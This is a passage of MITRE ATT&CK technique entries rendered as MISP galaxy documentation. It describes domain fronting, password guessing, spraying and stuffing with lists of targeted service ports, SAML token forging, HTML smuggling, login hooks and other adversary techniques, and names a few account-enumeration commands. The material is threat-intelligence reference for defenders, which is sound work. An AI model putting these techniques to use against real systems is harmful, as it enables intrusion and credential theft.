Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004"*

Table 4205. Table References

Links
http://www.icir.org/vern/papers/meek-PETS-2015.pdf
https://attack.mitre.org/techniques/T1090/004
https://capec.mitre.org/data/definitions/481.html

Password Guessing - T1110.001

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
- SNMP (161/UDP and 162/TCP/UDP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

The tag is: *misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"*

Table 4206. Table References

Links
https://attack.mitre.org/techniques/T1110/001
https://capec.mitre.org/data/definitions/49.html

https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi
https://www.us-cert.gov/ncas/alerts/TA18-086A

Password Cracking - T1110.002

Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)

Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.

The tag is: *misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002"*

Table 4207. Table References

Links
https://attack.mitre.org/techniques/T1110/002
https://capec.mitre.org/data/definitions/55.html
https://en.wikipedia.org/wiki/Password_cracking
https://www.us-cert.gov/ncas/alerts/TA18-106A

Password Spraying - T1110.003

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)

- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

The tag is: *misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003"*

Table 4208. Table References

Links
http://www.blackhillsinfosec.com/?p=4645
https://attack.mitre.org/techniques/T1110/003
https://capec.mitre.org/data/definitions/565.html
https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing
https://www.us-cert.gov/ncas/alerts/TA18-086A

Credential Stuffing - T1110.004

Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies.

Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004"*

Table 4209. Table References

Links
https://attack.mitre.org/techniques/T1110/004
https://capec.mitre.org/data/definitions/600.html
https://www.us-cert.gov/ncas/alerts/TA18-086A

Web Protocols - T1071.001

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001"*

Table 4210. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

https://attack.mitre.org/techniques/T1071/001

Bidirectional Communication - T1102.002

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002"*

Table 4211. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102/002

Malicious Link - T1204.001

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"*

Table 4212. Table References

Links
https://attack.mitre.org/techniques/T1204/001

Port Knocking - T1205.001

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001"*

Table 4213. Table References

Links
https://attack.mitre.org/techniques/T1205/001
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631

Binary Padding - T1027.001

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"*

Table 4214. Table References

Links
https://attack.mitre.org/techniques/T1027/001
https://capec.mitre.org/data/definitions/572.html
https://capec.mitre.org/data/definitions/655.html

https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
https://www.virustotal.com/en/faq/
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/

Mail Protocols - T1071.003

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003"*

Table 4215. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071/003

Environmental Keying - T1480.001

Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

The tag is: *misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001"*

Table 4216. Table References

Links
https://attack.mitre.org/techniques/T1480/001
https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf
https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf
https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/
https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices
https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf

Domain Properties - T1590.001

Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

Adversaries may gather this information in various ways, such as direct collection actions via

[Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001"*

Table 4217. Table References

Links
https://attack.mitre.org/techniques/T1590/001
https://dnsdumpster.com/
https://www.circl.lu/services/passive-dns/
https://www.whois.net/

Web Cookies - T1606.001

Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.

Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.

Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001"*

Table 4218. Table References

Links
https://attack.mitre.org/techniques/T1606/001

https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

Upload Malware - T1608.001

Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)

Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.

The tag is: *misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001"*

Table 4219. Table References

Links
https://attack.mitre.org/techniques/T1608/001
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/

Local Groups - T1069.001

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"*

Table 4220. Table References

Links
https://attack.mitre.org/techniques/T1069/001

Default Accounts - T1078.001

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)

The tag is: *misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001"*

Table 4221. Table References

Links
https://attack.mitre.org/techniques/T1078/001
https://capec.mitre.org/data/definitions/70.html
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

Local Account - T1087.001

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and

<code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS the <code>dscl . list /Users</code> command can be used to enumerate local accounts.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"*

Table 4222. Table References

Links
https://attack.mitre.org/techniques/T1087/001
https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql

Malicious File - T1204.002

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"*

Table 4223. Table References

Links
https://attack.mitre.org/techniques/T1204/002
https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/

Software Packing - T1027.002

Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002"*

Table 4224. Table References

Links
https://attack.mitre.org/techniques/T1027/002
https://capec.mitre.org/data/definitions/570.html
https://github.com/dhondta/awesome-executable-packing
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf

Malicious Image - T1204.003

Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003"*

Table 4225. Table References

Links
https://attack.mitre.org/techniques/T1204/003
https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/

Login Hook - T1037.002

Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)

Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)

Note: Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)

The tag is: *misp-galaxy:mitre-attack-pattern="Login Hook - T1037.002"*

Table 4226. Table References

Links
https://attack.mitre.org/techniques/T1037/002
https://developer.apple.com/documentation/devicemanagement/loginwindowscripts
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html
https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
https://www.sentinelone.com/blog/how-malware-persists-on-macos/

Transport Agent - T1505.002

Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.

The tag is: *misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002"*

Table 4227. Table References

Links
https://attack.mitre.org/techniques/T1505/002
https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

SAML Tokens - T1606.002

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)

An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)

The tag is: *misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002"*

Table 4228. Table References

Links
https://attack.mitre.org/techniques/T1606/002
https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes

https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.sygnia.co/golden-saml-advisory

HTML Smuggling - T1027.006

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)

Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.

For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006"*

Table 4229. Table References

Links
https://attack.mitre.org/techniques/T1027/006
https://outflank.nl/blog/2018/08/14/html-smuggling-explained/
